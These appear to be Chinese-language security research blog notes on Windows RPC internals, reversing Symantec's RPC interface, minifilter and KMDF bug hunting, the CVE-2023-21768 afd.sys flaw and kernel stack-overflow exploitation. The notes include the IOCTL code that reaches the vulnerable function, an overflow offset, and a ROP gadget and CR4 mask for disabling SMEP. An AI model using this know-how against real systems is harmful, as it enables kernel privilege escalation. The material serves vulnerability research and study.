   +0x048 cancel_call      : 0x00007ffe`5b712240     void  aaarpcrt4!rpcrt4_conn_np_cancel_call+0
   +0x050 is_server_listening : 0x00007ffe`5b711d20     long  aaarpcrt4!rpcrt4_ncalrpc_np_is_server_listening+0
   +0x058 wait_for_incoming_data : 0x00007ffe`5b712280     int  aaarpcrt4!rpcrt4_conn_np_wait_for_incoming_data+0
   +0x060 get_top_of_tower : 0x00007ffe`5b7131e0     unsigned int64  aaarpcrt4!rpcrt4_ncalrpc_get_top_of_tower+0
   +0x068 parse_top_of_tower : 0x00007ffe`5b7132a0     long  aaarpcrt4!rpcrt4_ncalrpc_parse_top_of_tower+0
   +0x070 receive_fragment : (null) 
   +0x078 is_authorized    : 0x00007ffe`5b7133e0     int  aaarpcrt4!rpcrt4_ncalrpc_is_authorized+0
   +0x080 authorize        : 0x00007ffe`5b7133f0     long  aaarpcrt4!rpcrt4_ncalrpc_authorize+0
   +0x088 secure_packet    : 0x00007ffe`5b713420     long  aaarpcrt4!rpcrt4_ncalrpc_secure_packet+0
   +0x090 impersonate_client : 0x00007ffe`5b7126d0     long  aaarpcrt4!rpcrt4_conn_np_impersonate_client+0
   +0x098 revert_to_self   : 0x00007ffe`5b712810     long  aaarpcrt4!rpcrt4_conn_np_revert_to_self+0
   +0x0a0 inquire_auth_client : 0x00007ffe`5b713440     long  aaarpcrt4!rpcrt4_ncalrpc_inquire_auth_client+0

这个函数就是创建一个初始化的连接对象，此时还没有真正发起连接

然后作为唯一的一个参数调用RPCRT4_OpenClientConnection函数

在该函数中会调用上面根据协议序列所引到的connection_ops对象的成员函数open_connection_client来建立连接，该函数为动态注册，实际调用的是rpcrt4_ncalrpc_open

首先根据endpoint拼接出pipename

\\.\pipe\lrpc\NCALRPCServer12138

然后调用rpcrt4_conn_open_pipe打开管道

核心其实就是

pipe = CreateFileA(pname, GENERIC_READ|GENERIC_WRITE, 0, NULL,
                       OPEN_EXISTING, dwFlags | FILE_FLAG_OVERLAPPED, 0);

启用了overlapped，表明后续的读写操作都将以异步的形式进行

dwMode = PIPE_READMODE_MESSAGE;
  SetNamedPipeHandleState(pipe, &dwMode, NULL, NULL);

这段代码至关重要，他告诉windows的npdriver管道中的数据将以消息流的形式进行传递，而非字节流，一般用于基于命名管道的RPC实现中

然后就是调用RPCRT4_BuildBindHeader构建一个bind请求头，然后使用RPCRT4_Send发送数据包

之后使用RPCRT4_ReceiveWithAuth接收来自服务端的响应数据包，实际调用的函数是RPCRT4_default_receive_fragment，这个过程和服务端是一样的，在这个函数中我们会从管道中读取数据，解析头部，解析数据

call_marshaller

参数的序列化，和前面的buffersizer一样，marshaller也是一个全局数组，根据pformat选定不懂的marshaller函数

在我们一开始的NdrClientCall2的第二个参数中指定了参数类型相对于pFormat指针的偏移量，使用这个偏移量计算出一个地址，取出来bytes值作为marshaller数组的索引来得到对应的marshaller函数

我们szString对应的marshaller就是NdrConformantStringMarshall

那我们来看一下他是如何序列化我们的字符串"Hello Context World!"的

有点像服务端的sizer函数

array_compute_and_write_conformance(FC_C_CSTRING, pStubMsg, pszMessage,
                                      pFormat, TRUE /* fHasPointers */);

array_compute_and_write_conformance函数上来就是switch-case，根据a1确定类型，对于FC_C_CSTRING类型

pStubMsg->ActualCount = strlen((const char *)pMemory)+1;

使用字符串长度+1来填充stubMsg的actualCount字段

我们上面得到的类型指针，紧跟着的下一个字节也是有特定的意义的

此处我们是0x5C，FC_PAD，无需做特殊处理，stubMsg的MaxCount字段直接就设置为ActualCount字段的值

之后调用WriteConformance(pStubMsg);

static inline void WriteConformance(MIDL_STUB_MESSAGE *pStubMsg)
{
    align_pointer_clear(&pStubMsg->Buffer, 4);
    if (pStubMsg->Buffer + 4 > (unsigned char *)pStubMsg->RpcMsg->Buffer + pStubMsg->BufferLength)
        RpcRaiseException(RPC_X_BAD_STUB_DATA);
    NDR_LOCAL_UINT32_WRITE(pStubMsg->Buffer, pStubMsg->MaxCount);
    pStubMsg->Buffer += 4;
}

对该函数的代码进行理解

地址对齐

static inline void align_pointer_clear( unsigned char **ptr, unsigned int align )
{
    ULONG_PTR mask = align - 1;
    memset( *ptr, 0, (align - (ULONG_PTR)*ptr) & mask );
    *ptr = (unsigned char *)(((ULONG_PTR)*ptr + mask) & ~mask);
}

我直接让chatgpt解释了一下这段代码的作用，说白了这个函数就是把指针向前移动到alignment的倍数的位置，被跳过的地址将会被清0

比如说现在buffer的地址是0x1002，对齐为4，那么经过这个函数的处理，buffer地址会变成0x1004，0x1002\0x1003这两个地址会被清空为0

pStubMsg->Buffer和pStubMsg->RpcMsg->Buffer是同一个东西

NDR_LOCAL_UINT32_WRITE就是以小端序列写入一个UINT32数据，这里是把MaxCount字段写入了buffer中

所谓小端就是低位在前

写入了UINT32，即一个DWORD，buffer要向前移动4

然后是array_write_variance_and_marshall，上面的array_write_variance_and_marshall只写入了一个MaxCount，并未写入我们的hello字符串

首先调用WriteVariance(pStubMsg);

这个函数中的单词Variance并非其字面意义（统计学上的方差），而是NDR标准中的一个术语，特指一个数组或者字符串中的可变部分，即偏移量或者长度这种字段，因此从函数名中我们就可以知道，这个函数大概率是用来写入我的hello字符串长度的

这时再来看这个函数的内容

static inline void WriteVariance(MIDL_STUB_MESSAGE *pStubMsg)
{
    align_pointer_clear(&pStubMsg->Buffer, 4);
    if (pStubMsg->Buffer + 8 > (unsigned char *)pStubMsg->RpcMsg->Buffer + pStubMsg->BufferLength)
        RpcRaiseException(RPC_X_BAD_STUB_DATA);
    NDR_LOCAL_UINT32_WRITE(pStubMsg->Buffer, pStubMsg->Offset);
    pStubMsg->Buffer += 4;
    NDR_LOCAL_UINT32_WRITE(pStubMsg->Buffer, pStubMsg->ActualCount);
    pStubMsg->Buffer += 4;
}

他写入了hello字符串的在buffer中的offset和字符串的长度+1，这两个字段共占用8bytes

然后调用safe_multiply(esize, pStubMsg->ActualCount);，其中esize变量根据我们的参数类型决定，宽字节（FC_C_WSTRING）是2，ascii字符串（FC_C_CSTRING）就是1

之后调用safe_copy_to_buffer进行hello字符串到stubMsg的拷贝操作

memcpy(pStubMsg->Buffer, p, size);

这就是到目前为止pstubmsg的buffer的内容

0:000> db 0001d4`586beac1-15-8-4
000001d4`586beaa0  15 00 00 00 00 00 00 00-15 00 00 00 48 65 6c 6c  ............Hell
000001d4`586beab0  6f 20 43 6f 6e 74 65 78-74 20 57 6f 72 6c 64 21  o Context World!

字符串长度+1（DWORD）

字符串相body部分的偏移（DWORD）

字符串长度+1（DWORD）

字符串内容

处理context handle参数

这个参数和上面的字符串不一样，在我们调用NdrClientCall的时候我们传进来的是一个地址，用于接收服务端给我们分配的contexthandle，也就是说这个参数本质上是一个传出参数

从实际调试结果来看，并未作任何处理

NdrSendReceive

好，现在客户端把Open函数转换成数据包并通过命名管道发送给了服务端，那么我们现在就回去调试服务端的代码

现在来看一下客户端的context_handle和guid是如何关联的，在客户端使用contexthandle时，最终会到达NDRCContextMarshall函数，该函数的第一个参数就是我们在一开始的open函数中获取到的handle_context传出参数，他其实是一个context_handle_entry类型的结构体，这一点在函数

get_context_entry可以得到验证

现在我要看一下这个GUID是如何存储到我们的context handle里面去的，context handle写入调用栈

0:000> k
 # Child-SP          RetAddr               Call Site
00 000000e9`bbafddc0 00007ffc`5a795939     aaarpcrt4!ndr_update_context_handle+0x14e [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_contexthandle.c @ 200] 
01 000000e9`bbafde10 00007ffc`5a7a9e1b     aaarpcrt4!NDRCContextUnmarshall+0x69 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_contexthandle.c @ 216] 
02 000000e9`bbafde60 00007ffc`5a79a2ea     aaarpcrt4!NdrClientContextUnmarshall+0x8b [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 7098] 
03 000000e9`bbafde90 00007ffc`5a7b55b0     aaarpcrt4!NdrContextHandleUnmarshall+0x1ba [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_marshall.c @ 7040] 
04 000000e9`bbafdef0 00007ffc`5a7b5a2c     aaarpcrt4!call_unmarshaller+0xf0 [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 126] 
05 000000e9`bbafdf50 00007ffc`5a7b800d     aaarpcrt4!client_do_args+0x3ac [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 531] 
06 000000e9`bbafdfc0 00007ffc`5a7b89ae     aaarpcrt4!do_ndr_client_call+0x7ad [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 842] 
07 000000e9`bbafe8d0 00007ffc`5a7e94ff     aaarpcrt4!ndr_client_call+0x71e [c:\users\x\downloads\reactos-master\dll\win32\rpcrt4\ndr_stubless.c @ 994] 
08 000000e9`bbaff150 00007ff7`e9c125f0     aaarpcrt4!NdrClientCall2+0x1b [C:\Users\x\Downloads\reactos-master\output-VS-amd64-sln\dll\win32\rpcrt4\asm\msvc_rpcrt4_asm.asm @ 602] 
09 000000e9`bbaff180 00007ff7`e9c121bb     ncalrpcClt!Open+0x80 [c:\users\x\downloads\reactos_rpcrt4_test_code\ncalrpcclt\ncalrpcinterface_clntstub.c @ 164] 
0a 000000e9`bbaff290 00007ff7`e9c131a4     ncalrpcClt!wmain+0x29b [c:\users\x\downloads\reactos_rpcrt4_test_code\ncalrpcclt\ncalrpcclt.c @ 159] 
0b 000000e9`bbaff850 00007ff7`e9c1304e     ncalrpcClt!invoke_main+0x34 [d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 91] 
0c 000000e9`bbaff890 00007ff7`e9c12f0e     ncalrpcClt!__scrt_common_main_seh+0x12e [d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 288] 
0d 000000e9`bbaff900 00007ff7`e9c13239     ncalrpcClt!__scrt_common_main+0xe [d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_common.inl @ 331] 
0e 000000e9`bbaff930 00007ffc`96b47374     ncalrpcClt!wmainCRTStartup+0x9 [d:\agent\_work\2\s\src\vctools\crt\vcstartup\src\startup\exe_wmain.cpp @ 17] 
0f 000000e9`bbaff960 00007ffc`9867cc91     KERNEL32!BaseThreadInitThunk+0x14
10 000000e9`bbaff990 00000000`00000000     ntdll!RtlUserThreadStart+0x21

根据调用栈回溯可知，context handle里面的wire data的guid来自于prcmsg->buffer，就是server端分配好之后给我们发送过来的

逆向tips

procnum

客户端发起调用的时候最终肯定会调用NdrClientCall，该函数的第二个参数是一个地址，这个地址+6取word就是procnum

其实这个参数可以解释为NDR_PROC_HEADER结构体

aaarpcrt4!_NDR_PROC_HEADER_RPC
   +0x000 handle_type      : UChar
   +0x001 Oi_flags         : UChar
   +0x002 rpc_flags        : Uint4B
   +0x006 proc_num         : Uint2B
   +0x008 stack_size       : Uint2B

总结

看rpcrt4的源码，我就只想弄清楚一件事，就是服务端是如何识别context handle的，得出的结论如下：

客户端发送context handle创建请求，服务端分配一个用于标识context handle的guid返回给客户端，客户端将这个guid存储到context handle中
下一次使用context handle发起请求时，会将context handle中存储的guid发送过去，服务端根据guid定位到相应客户端的context handle

另外一点需要提的就是，使用explicit binding handle是没有办法在server端标识client的，他不像context handle一样，客户端和服务端共享一个guid标识符，binding handle对服务端来说只是用于标识一个连接，至于这个连接是哪一个客户端在使用，他是不清楚的，因为server端的hbinding和客户端的hbinding之间不存在映射关系

非要说的话那也只能是在RPCRT4_MakeBinding函数中通过对比客户端发送过来的数据包来确认当前产生的binding是否为目标客户端的，但是这个数据包对比实战的时候不太现实

Windows Minifilter漏洞挖掘

2025-08-12T00:00:00+02:00

references:

https://googleprojectzero.blogspot.com/2021/01/hunting-for-bugs-in-windows-mini-filter.html

过滤驱动的实现

大打开一个文件的时候，IO管理器会分配一个IRP结构体用于描述IO请求，这其中包含了操作类型和与该操作相关的各种各样的参数

IRP会被发送到与该操作相关的设备栈的顶部

过滤驱动会注册一个或者多个IRP对应的操作类型的回调函数，当有目标IRP请求被放到设备栈上的时候，过滤驱动的回调函数就会被调用

过滤驱动可以对该IRP进行以下操作：

不作任何修改，直接发送给设备栈的下一层
修改之后发送给设备栈的下一层
修改IRP响应（post回调）
完成IO请求，返回成功（完成IO请求就意味着设备栈下面的驱动不会接收到此IRP请求）
完成IO请求，返回失败
将IRP发送给别的设备栈进行处理

一般情况下过滤驱动会被插入到设备栈顶部，但是理论上来讲，过滤驱动可以被插入到任意位置

windows自带的bitlocker full disk encryption就是一个插在volume block设备上面的过滤驱动，他会加密写入IRP的sector数据，在读取IRP的回调中解密读出来的sector

过滤管理器和mini filter

一句话概括，过滤管理器和mini filter就是用来让过滤驱动的编写变得更简单的，程序员只需要专注于业务代码，也就是在过滤驱动的回调函数中要做什么

从上图中可以看到顾虑驱动不会往设备栈中插入设备，而是插入了Filter Manager的设备，filter manager负责拦截IO请求，并调用对应的minifilter中的回调函数

filter manager通过minifilter的altitude属性来管理过滤驱动的顺序，这个属性是在驱动开发的过程中由开发者设置的

在驱动的inf安装文件中定义

altitude的值越高，驱动的优先级就越高，对于响应而言就是反过来的

minifilter可以通过InstanceSetupCallback回调函数来设置他是否想要attach到给定的volume类型

下面这个函数就指定了他只会attach到ntfs volume

将IO请求转发给不同的设备栈或者不同的file

filter manager为了避免在minifilter驱动代码中打开文件时造成重入，导出了专门的API来用于在minifilter代码中打开文件，使用FltCreateFileEx打开文件，filter manager会直接将此操作产生的IRP请求发送给当前minifilter的下一层级，从而避免死循环

另外一种方法是使用一个叫做Extra Create Parameters（ECP）的机制，ECP包含了一个GUID用于唯一标识，以及其他的附加数据，这些数据通过FltInsertExtraCreateParameter函数进行插入到文件中，数据的提取可以通过FltFindExtraCreateParameter函数完成，minifilter的代码通过检查ECP的存在来选择是否忽略IRP，这样也可以避免重入

luafv.sys的LuafvReparse函数就使用了这个API

文件重定向，通过修改PreOperation回调中的FLT_IO_PARAMETER_BLOCK结构体中的TargetFileObject为另一个文件即可

PREDIRECT_CONTEXT context = // Get driver’s allocated context.
if (context->FileObject) {
    Data->Iopb->TargetFileObject = context->FileObject;
    FltSetCallbackDataDirty(Data);
    return FLT_PREOP_SUCCESS_NO_CALLBACK;
}

minifilter通信

漏洞的产生通常源自于对不受信任的输入数据的处理，之所以对minifilter感兴趣就是因为有很多不受信任的输入可以被输入到minifilter的代码中

设备对象

minifilter驱动并不需要创建设备对象，但这并不意味着所有的minifilter都没有设备对象，比如杀软的minifilter同时也会创建一个设备对象

minifilter port

针对KMDF驱动的逆向和漏洞挖掘

2025-08-12T00:00:00+02:00

references:

https://www.ioactive.com/wp-content/uploads/2018/09/Reverse_Engineering_and_Bug_Hunting_On_KMDF_Drivers.pdf

IRP的结构

IO管理器为每一个IRP创建一个IO stack location数组，数组里面的每一个元素对应设备栈中的一个设备驱动

Buffer访问方式有三种

BUFFERED，IO管理器创建一个临时的buffer来共享给驱动，这种方式下input和output使用同一块内存
DirectIO，IO管理器锁定用户模式的buffer对应的物理内存然后共享给驱动
NEITHER，IO管理器只提供buffer的虚拟地址，不负责校验地址的合法性

IOCTL code的编码格式

Windows RPC

2025-07-24T00:00:00+02:00

rpc_demo，密码是1

搜索rpcserver注册位置，我们拿赛门铁克epp来做例子

主服务进程ccsvchst.exe

根据我们的rpc实例程序我们可以知道，rpc服务段肯定要调用RpcServerRegisterIf2函数进行注册，注册的时候要传入一个字符串来表示rpc服务的类型，示例程序是ncacn_ip_tcp

使用rpcview可以看到主服务进程ccsvchst的rpc类型是ncalrpc

那么我们搜索ccsvchst进程的所有二进制文件，去找这个字符串即可

我们使用windbg内核调试器获取到该进程的所有dll路径，然后全部拷贝到一个目录中，之后使用下面这个python脚本去搜索这个字符串

import os

def utf16le_search_in_file(file_path, utf16le_bytes):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
            return utf16le_bytes in data
    except Exception as e:
        # Skip files we can't read
        return False

def search_folder_for_utf16le_string(folder_path, target_string):
    utf16le_bytes = target_string.encode('utf-16le')
    for root, dirs, files in os.walk(folder_path):
        for filename in files:
            file_path = os.path.join(root, filename)
            if utf16le_search_in_file(file_path, utf16le_bytes):
                print(f"[FOUND] {file_path}")

if __name__ == "__main__":
    folder = r"C:\users\x\downloads\sep"  # 🔧 Change this
    search_string = "ncalrpc"     # 🔧 Change this
    search_folder_for_utf16le_string(folder, search_string)

搜索出来下面这3个不在system32下的dll包含这个字符串

CsrssDrvLoadDll.dll
ccIPC.dll
symamsi.dll

IPC很可能是进程间通信的意思，那我们就先来看这个dll

查看导入表，果不其然，存在RpcServerRegisterIfEx函数，查看其引用，找到注册代码

对照我们的示例代码，那么第一个参数就是RemotePrivilegeCall_v1_0_s_ifspec

    status = RpcServerRegisterIf2(
        RemotePrivilegeCall_v1_0_s_ifspec,   // Name of the interface defined in RemotePrivilegeCall.h
        NULL,                                // UUID to bind to (NULL means the one from the MIDL file)
        NULL,                                // Interface to use (NULL means the one from the MIDL file)
        RPC_IF_ALLOW_CALLBACKS_WITH_NO_AUTH, // Invoke the security callback function
        RPC_C_LISTEN_MAX_CALLS_DEFAULT,      // Numbers of simultaneous connections
        (unsigned)-1,                        // Maximum size of data block received 
        SecurityCallback                     // Name of the function that acts as the security callback
    );

这个参数的值实际上就是RemotePrivilegeCall___RpcServerInterface的地址

RPC_IF_HANDLE RemotePrivilegeCall_v1_0_s_ifspec = (RPC_IF_HANDLE)& RemotePrivilegeCall___RpcServerInterface;

那么我们就知道unk_180031F80就是RemotePrivilegeCall___RpcServerInterface，他的结构如下：

static const RPC_SERVER_INTERFACE RemotePrivilegeCall___RpcServerInterface =
{
    sizeof(RPC_SERVER_INTERFACE),
    { { 0xAB4ED934,0x1293,0x10DE,{ 0xBC,0x12,0xAE,0x18,0xC4,0x8D,0xEF,0x33 } },{ 1,0 } },
    { { 0x8A885D04,0x1CEB,0x11C9,{ 0x9F,0xE8,0x08,0x00,0x2B,0x10,0x48,0x60 } },{ 2,0 } },
    (RPC_DISPATCH_TABLE*)&RemotePrivilegeCall_v1_0_DispatchTable,
    0,
    0,
    0,
    &RemotePrivilegeCall_ServerInfo,
    0x04000000
};

RemotePrivilegeCall_ServerInfo里面包含有rpc服务端函数的信息，现在我们去windbg里面看一下

RemotePrivilegeCall_ServerInfo是RPC_SERVER_INTERFACE结构体的InterpreterInfo字段，他的偏移量是80

那这个地方存的是RemotePrivilegeCall_ServerInfo的地址

static const MIDL_SERVER_INFO RemotePrivilegeCall_ServerInfo =
{
    &RemotePrivilegeCall_StubDesc,
    RemotePrivilegeCall_ServerRoutineTable,
    RemotePrivilegeCall__MIDL_ProcFormatString.Format,
    RemotePrivilegeCall_FormatStringOffsetTable,
    0,
    0,
    0,
    0 };

我们在8偏移处即可得到rpc服务端函数的表

dqs poi(ccipc!getfactory+2eb84+8)

然后我们要找到client，看看他是怎么调用rpc接口的，首先我们要获取到服务端rpc的接口标识符，就是一个GUID

这个GUID就在RemotePrivilegeCall___RpcServerInterface的4偏移量，长度为0x10

这一串字节序列同样也会出现在client的二进制文件中

那么使用这种方法，我们就可以在赛门铁克的安装包中找到client

我靠赛门铁克他这个二进制里面的guid和实际跑起来的时候的guid竟然是不一样的，太逆天了，我自己的示例程序就是一样的，不知道他这个是怎么回事，但是好在第二个语法的GUID是正确的，我们可以先搜索这个来确定大致的范围

那我们就是用下面的脚本搜索语法GUID字节序列04 5d 88 8a eb 1c c9 11-9f e8 08 00 2b 10 48 60

import os


def search_bytes_in_file(file_path, target_bytes):
    try:
        with open(file_path, 'rb') as f:
            data = f.read()
            return target_bytes in data
    except Exception:
        return False


def search_folder_for_bytes(folder_path, target_hex_string):
    # Convert hex string like "DEADBEEF" to bytes
    target_bytes = bytes.fromhex(target_hex_string)

    for root, dirs, files in os.walk(folder_path):
        for filename in files:
            file_path = os.path.join(root, filename)
            if search_bytes_in_file(file_path, target_bytes):
                print(f"[FOUND] {file_path}")


if __name__ == "__main__":
    folder = r"C:\Program Files\Symantec\Symantec Endpoint Protection"  # 🔧 Change this
    hex_string = "045d888aeb1cc9119fe808002b104860"  # 🔧 Change this to your target bytes (no 0x, no spaces)
    search_folder_for_bytes(folder, hex_string)

关键问题是这样找出来的也不一定是客户端，因为服务端也会有这个语法GUID

那这样的话，我们就只能用rpcview来逆向这个接口，获取到定义文件了

[
uuid(a3e7e0e5-615c-4355-964f-a58e97cfc695),
version(1.0),
]
interface DefaultIfName
{

long Proc0(
    [in]long arg_1, 
    [in][size_is(arg_1)]byte *arg_2, 
    [out]long *arg_3, 
    [out][ref][size_is(, *arg_3)]byte **arg_4, 
    [out][context_handle] void** arg_5);

long Proc1(
    [in][out][context_handle] void** arg_1);

long Proc2(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc3(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc4(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3, 
    [out]long *arg_4, 
    [out][ref][size_is(, *arg_4)]byte **arg_5);

long Proc5(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3);

long Proc6(
    [in][context_handle] void* arg_1, 
    [in]long arg_2, 
    [in][size_is(arg_2)]byte *arg_3, 
    [in]long arg_4, 
    [in][size_is(arg_4)]byte *arg_5, 
    [out]long *arg_6, 
    [out][ref][size_is(, *arg_6)]byte **arg_7);
}

正好7个函数，和我们前面分析出来的函数数组也是能够对应得上的

但是为什么这里逆向出来的没有binding_handle啊，这对吗这？

感觉还是要找到客户端才行

recatos源码

从网上把recatos的源码下载下来然后把rpcrt4.dll编译出来，我们的示例程序使用动态加载的方式调用我们自己编译出来的rpcrt4.dll，就可以在调试的时候查看源代码了

RpcServerUseProtseqEpW

对于tcp_ip形式的RPC，rpcrt其实就是监听了一个指定端口的socket而已

>   rpcrt4.dll!rpcrt4_protseq_ncacn_ip_tcp_open_endpoint(_RpcServerProtseq * protseq, const char * endpoint) Line 1647  C
    rpcrt4.dll!RPCRT4_use_protseq(_RpcServerProtseq * ps, const char * endpoint) Line 841   C
    rpcrt4.dll!RpcServerUseProtseqEpExW(wchar_t * Protseq, unsigned int MaxCalls, wchar_t * Endpoint, void * SecurityDescriptor, _RPC_POLICY * lpPolicy) Line 1053  C
    rpcrt4.dll!RpcServerUseProtseqEpW(wchar_t * Protseq, unsigned int MaxCalls, wchar_t * Endpoint, void * SecurityDescriptor) Line 939 C
    RPCServer.exe!main() Line 70    C++
    [External Code]

也就是说在调用RpcServerUseProtseqEpW之后，tcp端口就已经开始监听了

RpcServerRegisterIf2 注册接口

所谓的注册，就是把我们添加到一个全局的list中

RpcEpRegisterW 注册接口到end point mapper

这个其实是和\\pipe\\epmapper RPC接口进行通信来进行注册的，最后会看到他调用ndrclientcall2和这个接口进行通信

ncalrpc internal

这个通信机制的内部就是使用命名管道

管道名称就是RpcServerUseProtseqEpW的第三个参数，即endpoint

\\.\pipe\lrpc\MyLocalRpcEndpoint

赛门铁克

000001e4`2778dab8  "{3334ED3B-03FC-43B2-A709-D20C266"
000001e4`2778daf8  "5E1D7}"

他这个nclrpc的管道名称好像是动态生成的，就是一个GUID

CVE-2023-21768--IO ring在提权漏洞中的使用

2025-06-26T00:00:00+02:00

references：

https://www.ibm.com/think/x-force/patch-tuesday-exploit-wednesday-pwning-windows-ancillary-function-driver-winsock

约定，本文所有的数字如果没有人特别说明，均为16进制

镜像

漏洞函数code path定位

afd.sys中的AfdNotifyRemoveIoCompletion函数的patch前后对比，左侧为patch过的，右侧为漏洞版本

可以看到，patch过后的代码多了一个对a1的判断，这个a1其实是previousMode，如果是1（用户模式），则对要写入的内存执行ProbeForWrite，这个函数会检查目标地址是否是用户模式地址空间，也就是防止用户模式进程直接写入内核的内存

a1是previousMode很好判断，查看caller函数AfdNotifySock的代码可知a1其实就是AfdNotifySock函数的a3

NTSTATUS ObReferenceObjectByHandle(
  [in]            HANDLE                     Handle,
  [in]            ACCESS_MASK                DesiredAccess,
  [in, optional]  POBJECT_TYPE               ObjectType,
  [in]            KPROCESSOR_MODE            AccessMode,
  [out]           PVOID                      *Object,
  [out, optional] POBJECT_HANDLE_INFORMATION HandleInformation
);

根据文档，ObReferenceObjectByHandle函数的第四个参数是AccessMode，因此就可以判断出AfdNotifyRemoveIoCompletion的a1是PreviousMode

查看AfdNotifySock的交叉引用，可以看到他在AfdImmediateCallDispatch派遣函数表的最后面，再往下就是另一张派遣函数表了

查看AfdImmediateCallDispatch的交叉引用，可以找到他在AfdFastIoDeviceControl函数的797行被用到

其中v64会作为这张表的index来获取目标函数，v64由a7计算出来

查看AfdFastIoDeviceControl函数的交叉引用，可以看到他在AfdFastIoDispatch派遣函数表中，再查看AfdFastIoDispatch的交叉引用

可以看到afd注册了FastIoDispatch

typedef struct _FAST_IO_DISPATCH {
  ULONG                                  SizeOfFastIoDispatch;
  PFAST_IO_CHECK_IF_POSSIBLE             FastIoCheckIfPossible;
  PFAST_IO_READ                          FastIoRead;
  PFAST_IO_WRITE                         FastIoWrite;
  PFAST_IO_QUERY_BASIC_INFO              FastIoQueryBasicInfo;
  PFAST_IO_QUERY_STANDARD_INFO           FastIoQueryStandardInfo;
  PFAST_IO_LOCK                          FastIoLock;
  PFAST_IO_UNLOCK_SINGLE                 FastIoUnlockSingle;
  PFAST_IO_UNLOCK_ALL                    FastIoUnlockAll;
  PFAST_IO_UNLOCK_ALL_BY_KEY             FastIoUnlockAllByKey;
  PFAST_IO_DEVICE_CONTROL                FastIoDeviceControl;
  PFAST_IO_ACQUIRE_FILE                  AcquireFileForNtCreateSection;
  PFAST_IO_RELEASE_FILE                  ReleaseFileForNtCreateSection;
  PFAST_IO_DETACH_DEVICE                 FastIoDetachDevice;
  PFAST_IO_QUERY_NETWORK_OPEN_INFO       FastIoQueryNetworkOpenInfo;
  PFAST_IO_ACQUIRE_FOR_MOD_WRITE         AcquireForModWrite;
  PFAST_IO_MDL_READ                      MdlRead;
  PFAST_IO_MDL_READ_COMPLETE             MdlReadComplete;
  PFAST_IO_PREPARE_MDL_WRITE             PrepareMdlWrite;
  PFAST_IO_MDL_WRITE_COMPLETE            MdlWriteComplete;
  PFAST_IO_READ_COMPRESSED               FastIoReadCompressed;
  PFAST_IO_WRITE_COMPRESSED              FastIoWriteCompressed;
  PFAST_IO_MDL_READ_COMPLETE_COMPRESSED  MdlReadCompleteCompressed;
  PFAST_IO_MDL_WRITE_COMPLETE_COMPRESSED MdlWriteCompleteCompressed;
  PFAST_IO_QUERY_OPEN                    FastIoQueryOpen;
  PFAST_IO_RELEASE_FOR_MOD_WRITE         ReleaseForModWrite;
  PFAST_IO_ACQUIRE_FOR_CCFLUSH           AcquireForCcFlush;
  PFAST_IO_RELEASE_FOR_CCFLUSH           ReleaseForCcFlush;
} FAST_IO_DISPATCH, *PFAST_IO_DISPATCH;

那么AfdFastIoDeviceControl函数的类型就是PFAST_IO_DEVICE_CONTROL，根据WRK源代码可知该函数的签名如下

typedef
BOOLEAN
(*PFAST_IO_DEVICE_CONTROL) (
    IN struct _FILE_OBJECT *FileObject,
    IN BOOLEAN Wait,
    IN PVOID InputBuffer OPTIONAL,
    IN ULONG InputBufferLength,
    OUT PVOID OutputBuffer OPTIONAL,
    IN ULONG OutputBufferLength,
    IN ULONG IoControlCode,
    OUT PIO_STATUS_BLOCK IoStatus,
    IN struct _DEVICE_OBJECT *DeviceObject
    );

a7正是IoControlCode

使用AfdNotifySock函数在AfdImmediateCallDispatch派遣表的地址减去这张表的起始地址，再除以8，即可得到v64的值49

那么AfdIoctlTable[v64]就是AfdIoctlTable[49]

0: kd> dds AfdIoctlTable+4*49 l1
fffff806`2c850b24  00012127

这样我们就可以使用IoControlCode 12127来抵达漏洞函数

exp代码分析

使用漏洞控制IO ring结构体里面的regbuffer地址为用户可分配的用户模式地址，并控制regcount

exp

Windows Stack Overflow利用

2025-06-13T00:00:00+02:00

reference:

https://msrc.microsoft.com/blog/2018/03/kva-shadow-mitigating-meltdown-on-windows/

约定，本文所有数字都是16进制，所有的index都是从0开始

KVA shadow

speculative execution side channels 漏洞

这个类型的漏洞跟处理器如何进行内核和用户模式的权限隔离有关

很多CPU都具有乱序执行的能力，即预测性地执行分支代码，如果后续发现这个分支的判断为false，则回滚相关指令

但是对于内存读取指令，此时这个不可读取的内存的内容可能已经被加载到缓存中，这就引起了漏洞的出现，攻击者可能会读取到自己本不应该读取到的内核敏感数据

现在需要假设处理器的内存访问隔离已经不起作用了，操作系统需要自己实现一套防御机制

这个办法就是在进入系统调用的时候只映射一部分的内核数据到内存中，包含敏感数据的内核内存页不会被映射（具体怎么实现的我也不知道）

这个东西就叫做kernel virtual address shadow，即KVA shadow

算了，他妈的太复杂了，不看了

利用代码分析

reference：

https://kristal-g.github.io/2021/05/08/SYSRET_Shellcode.html

memmove导致栈溢出，从调试器中可以看出来，只需要把前48字节填了，然后再填8字节就可以把返回地址覆盖了，那这个地方我们就可以填写ROP链的地址了

由于SMEP的存在，我们必须要把CR4的最高bit位置设置为0才可以返回到用户模式的内存中进行shellcode的执行，所以我们需要在ROP链中把cr4给修改了，控制SMEP启停的bit是第21bit

3210987654321098765432109876543210987654321098765432109876543210
1111111111111111111111111111111111111111111011111111111111111111
0xFFFFFFFFFFEFFFFF

使用IDA搜索ROP gadget

ntoskrnl.exe样本

修改cr4

514759

0: kd> u 514759 +nt
nt!KeWakeProcessor+0x59:
fffff802`3af23759 0f22e1          mov     cr4,rcx
fffff802`3af2375c c3              ret

现在我们需要控制rcx来间接控制cr4

操作rcx

